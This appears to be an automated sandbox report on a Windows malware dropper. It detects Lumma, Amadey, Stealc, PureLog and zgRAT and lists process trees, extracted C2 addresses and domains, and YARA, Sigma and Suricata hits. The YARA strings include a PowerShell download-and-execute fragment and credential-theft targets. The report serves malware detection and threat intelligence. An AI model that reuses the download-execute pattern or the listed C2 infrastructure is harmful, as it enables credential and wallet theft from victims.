Edit tour

Windows Analysis Report
8WRONDszv4.exe

Overview

General Information

Sample name:	8WRONDszv4.exe renamed because original name is a hash value
Original sample name:	06473103f0ce27b3600328c027b7ac83.exe
Analysis ID:	1581227
MD5:	06473103f0ce27b3600328c027b7ac83
SHA1:	0bec56f13caa2199d47935c94cad806bda003f5f
SHA256:	abff990c992961487c4f8f6cd4b2fd3977adb737d5842f7ade73b120d500cf49
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadey

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected PureLog Stealer

Yara detected Stealc

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

8WRONDszv4.exe (PID: 2320 cmdline: "C:\Users\user\Desktop\8WRONDszv4.exe" MD5: 06473103F0CE27B3600328C027B7AC83)

62G762VR710L4VXE3U82EH4WFUFY.exe (PID: 2976 cmdline: "C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe" MD5: 17D940E3012D0A3589F9DCB08CB8AACB)

YHOCXQOWEM64H1IK2TUEH.exe (PID: 4632 cmdline: "C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe" MD5: 0A0F11159921131E89D2E3203E99B1F6)

skotes.exe (PID: 6864 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 0A0F11159921131E89D2E3203E99B1F6)

skotes.exe (PID: 3664 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 0A0F11159921131E89D2E3203E99B1F6)

2d537c36c0.exe (PID: 6968 cmdline: "C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe" MD5: 3B6A8C673CDBE5C6944E92E7DE9F75CF)

2d537c36c0.exe (PID: 5700 cmdline: "C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe" MD5: 3B6A8C673CDBE5C6944E92E7DE9F75CF)

2d537c36c0.exe (PID: 5268 cmdline: "C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe" MD5: 3B6A8C673CDBE5C6944E92E7DE9F75CF)

99468ec718.exe (PID: 4232 cmdline: "C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe" MD5: C63D467232A6D3A2F8DBB8E002650A84)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["crosshuaht.lat", "aspecteirs.lat", "discokeyus.lat", "rapeflowwj.lat", "sustainskelet.lat", "necklacebudi.lat", "energyaffai.lat", "grannyejh.lat"], "Build id": "7uZzAf--"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.2512124183.0000000000921000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2256390573.0000000001637000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.2639109096.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2256604206.000000000164C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2514093673.000000000159E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000002.3303991604.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000000.00000003.2256312465.0000000001637000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000A.00000002.3266454164.000000000444A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 8WRONDszv4.exe PID: 2320	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 8WRONDszv4.exe PID: 2320	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8WRONDszv4.exe PID: 2320	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 62G762VR710L4VXE3U82EH4WFUFY.exe PID: 2976	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 62G762VR710L4VXE3U82EH4WFUFY.exe PID: 2976	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 99468ec718.exe PID: 4232	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
12.2.2d537c36c0.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
12.2.2d537c36c0.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
10.2.2d537c36c0.exe.455cf38.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
10.2.2d537c36c0.exe.42339b8.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
10.2.2d537c36c0.exe.42339b8.3.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
10.2.2d537c36c0.exe.42339b8.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.2.2d537c36c0.exe.42339b8.3.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0xf10c:$s1: file:/// 0x7b0ad:$s1: file:/// 0xf01c:$s2: {11111-22222-10009-11112} 0xf09c:$s3: {11111-22222-50001-00000} 0x7af31:$s3: {11111-22222-50001-00000} 0x79108:$s4: get_Module 0xe890:$s5: Reverse 0x79517:$s5: Reverse 0x1eafde:$s5: Reverse 0xcd07:$s6: BlockCopy 0x1eafc8:$s7: ReadByte 0x7b0bf:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
10.2.2d537c36c0.exe.426b8f0.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.2.2d537c36c0.exe.426b8f0.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
10.2.2d537c36c0.exe.426b8f0.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.0.2d537c36c0.exe.c20000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
10.0.2d537c36c0.exe.c20000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
7.2.skotes.exe.ea0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
8.2.skotes.exe.ea0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x347d8:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x34930:$str02: Azure\.IdentityService 0x34954:$str03: steam_tokens.txt 0x345e8:$str04: "encrypted_key":" 0x34710:$str05: prefs.js 0x34788:$str06: browser: FileZilla 0x3479c:$str07: profile: null 0x347ac:$str08: url: 0x347b4:$str09: login: 0x347bc:$str10: password:
6.2.YHOCXQOWEM64H1IK2TUEH.exe.20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 12 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3664, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\99468ec718.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3664, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\99468ec718.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:50:25.196479+0100	2028371	3	Unknown Traffic	192.168.2.6	49707	104.21.11.101	443	TCP
2024-12-27T08:50:27.169452+0100	2028371	3	Unknown Traffic	192.168.2.6	49709	104.21.11.101	443	TCP
2024-12-27T08:50:29.659197+0100	2028371	3	Unknown Traffic	192.168.2.6	49711	104.21.11.101	443	TCP
2024-12-27T08:50:31.914741+0100	2028371	3	Unknown Traffic	192.168.2.6	49713	104.21.11.101	443	TCP
2024-12-27T08:50:34.218423+0100	2028371	3	Unknown Traffic	192.168.2.6	49719	104.21.11.101	443	TCP
2024-12-27T08:50:36.723205+0100	2028371	3	Unknown Traffic	192.168.2.6	49725	104.21.11.101	443	TCP
2024-12-27T08:50:39.339497+0100	2028371	3	Unknown Traffic	192.168.2.6	49733	104.21.11.101	443	TCP
2024-12-27T08:50:43.212779+0100	2028371	3	Unknown Traffic	192.168.2.6	49746	104.21.11.101	443	TCP
2024-12-27T08:52:20.088393+0100	2028371	3	Unknown Traffic	192.168.2.6	49971	23.55.153.106	443	TCP
2024-12-27T08:52:26.256525+0100	2028371	3	Unknown Traffic	192.168.2.6	49983	104.21.11.101	443	TCP
2024-12-27T08:52:28.359019+0100	2028371	3	Unknown Traffic	192.168.2.6	49990	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:50:25.822474+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49707	104.21.11.101	443	TCP
2024-12-27T08:50:28.004709+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49709	104.21.11.101	443	TCP
2024-12-27T08:50:43.960152+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49746	104.21.11.101	443	TCP
2024-12-27T08:52:27.053572+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49983	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:50:25.822474+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49707	104.21.11.101	443	TCP
2024-12-27T08:52:27.053572+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49983	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:50:28.004709+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49709	104.21.11.101	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:52:18.612124+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49965	185.215.113.43	80	TCP
2024-12-27T08:52:27.294574+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49987	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:52:17.518148+0100	2058354	1	Domain Observed Used for C2 Detected	192.168.2.6	57763	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:52:18.232253+0100	2058358	1	Domain Observed Used for C2 Detected	192.168.2.6	55049	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:52:16.660150+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.6	55454	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:52:17.290337+0100	2058362	1	Domain Observed Used for C2 Detected	192.168.2.6	61799	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:52:16.344630+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.6	56360	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:52:17.061011+0100	2058370	1	Domain Observed Used for C2 Detected	192.168.2.6	60326	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:52:16.115994+0100	2058374	1	Domain Observed Used for C2 Detected	192.168.2.6	56778	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:52:17.746444+0100	2058376	1	Domain Observed Used for C2 Detected	192.168.2.6	58466	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:50:30.564023+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49711	104.21.11.101	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:50:59.305272+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49783	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:52:06.728911+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49937	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:52:17.182884+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49944	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:52:11.221031+0100	2803305	3	Unknown Traffic	192.168.2.6	49949	31.41.244.11	80	TCP
2024-12-27T08:52:20.068913+0100	2803305	3	Unknown Traffic	192.168.2.6	49970	185.215.113.16	80	TCP
2024-12-27T08:52:28.766315+0100	2803305	3	Unknown Traffic	192.168.2.6	49991	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 8WRONDszv4.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://mindhandru.buzz/((4	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/V1a	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/j	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz:443/apin.txtPK	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/ITE	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apider-	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/.$C	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/api&	Avira URL Cloud: Label: malware
Source: https://rapeflowwj.lat/	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/ile	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/pih	Avira URL Cloud: Label: malware
Source: https://rapeflowwj.lat/api	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz:443/apical	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000003.00000002.2514093673.000000000159E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 10.2.2d537c36c0.exe.455cf38.0.raw.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["crosshuaht.lat", "aspecteirs.lat", "discokeyus.lat", "rapeflowwj.lat", "sustainskelet.lat", "necklacebudi.lat", "energyaffai.lat", "grannyejh.lat"], "Build id": "7uZzAf--"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	ReversingLabs: Detection: 82%

Multi AV Scanner detection for submitted file

Source: 8WRONDszv4.exe	Virustotal: Detection: 54%			Perma Link
Source: 8WRONDszv4.exe	ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 8WRONDszv4.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 185.215.113.43
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: /Zu7JuNko/index.php
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: S-%lu-
Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp	String decryptor: abc3bc1985
